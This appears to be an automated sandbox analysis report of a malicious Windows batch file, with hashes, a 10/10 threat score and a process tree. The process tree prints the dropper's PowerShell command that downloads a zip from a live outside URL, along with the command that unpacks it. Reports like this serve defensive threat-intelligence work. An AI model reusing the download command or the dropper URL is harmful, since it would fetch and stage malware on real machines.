1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1559s
max time network
1564s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 10:14

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General

Target

tesy - Copy (11).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2828	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2828	powershell.exe
2800	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 2828	1936	cmd.exe	29
PID 1936 wrote to memory of 2828	1936	cmd.exe	29
PID 1936 wrote to memory of 2828	1936	cmd.exe	29
PID 1936 wrote to memory of 2800	1936	cmd.exe	30
PID 1936 wrote to memory of 2800	1936	cmd.exe	30
PID 1936 wrote to memory of 2800	1936	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fb15b8f273ec8b1ad107d5a5702a3478

SHA1
d3624232871dc42a0a74ffa9db4a3eb3871f06ae

SHA256
2b19d8e0eb06695f4a961904ae8279411a0b4070f599df2b5f1f68b8bd28e4d7

SHA512
9807077b898f1c1d65081425ead5f8c6819f193fe06f733863d9e0bb1e56bc34274644cbf645595dadaa4d9f37477a81cbf74fe092ef84feb66fc6f772e49e5a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DAEUL4WID0QTYVLBBIUM.temp

Filesize
7KB

MD5
fb15b8f273ec8b1ad107d5a5702a3478

SHA1
d3624232871dc42a0a74ffa9db4a3eb3871f06ae

SHA256
2b19d8e0eb06695f4a961904ae8279411a0b4070f599df2b5f1f68b8bd28e4d7

SHA512
9807077b898f1c1d65081425ead5f8c6819f193fe06f733863d9e0bb1e56bc34274644cbf645595dadaa4d9f37477a81cbf74fe092ef84feb66fc6f772e49e5a

Download Submit
memory/2800-19-0x0000000002550000-0x0000000002558000-memory.dmp

Filesize
32KB

Download
memory/2800-21-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-26-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-25-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2800-24-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2800-23-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2800-22-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2800-20-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-18-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/2828-5-0x00000000023E0000-0x00000000023E8000-memory.dmp

Filesize
32KB

Download
memory/2828-4-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/2828-6-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-12-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-7-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-10-0x0000000001F10000-0x0000000001F90000-memory.dmp

Filesize
512KB

Download
memory/2828-8-0x0000000001F10000-0x0000000001F90000-memory.dmp

Filesize
512KB

Download
memory/2828-9-0x0000000001F10000-0x0000000001F90000-memory.dmp

Filesize
512KB

Download